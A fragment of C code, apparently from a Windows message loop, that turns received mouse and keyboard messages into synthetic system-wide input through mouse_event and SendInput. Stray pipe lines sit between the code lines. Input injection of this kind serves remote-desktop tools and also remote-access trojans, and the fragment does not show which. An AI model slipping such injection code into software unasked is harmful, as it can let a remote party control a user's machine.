case WM_LBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MOUSEWHEEL:
|
||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0,
|
||
GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||
break;
|
||
case WM_KEYDOWN:
|
||
case WM_SYSKEYDOWN: {
|
||
INPUT input = { 0 };
|
||
input.type = INPUT_KEYBOARD;
|
||
input.ki.wVk = (WORD)Msg->wParam;
|
||
input.ki.wScan = MapVirtualKey(Msg->wParam, 0);
|
||
input.ki.dwFlags = 0;
|
||
SendInput(1, &input, sizeof(INPUT));
|
||
break;
|
||
}
|
||
case WM_KEYUP:
|
||
case WM_SYSKEYUP: {
|
||
INPUT input = { 0 };
|
||
input.type = INPUT_KEYBOARD;
|
||
input.ki.wVk = (WORD)Msg->wParam;
|
||
input.ki.wScan = MapVirtualKey(Msg->wParam, 0);
|
||
input.ki.dwFlags = KEYEVENTF_KEYUP;
|
||
SendInput(1, &input, sizeof(INPUT));
|
||
break;
|
||
}
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
}
|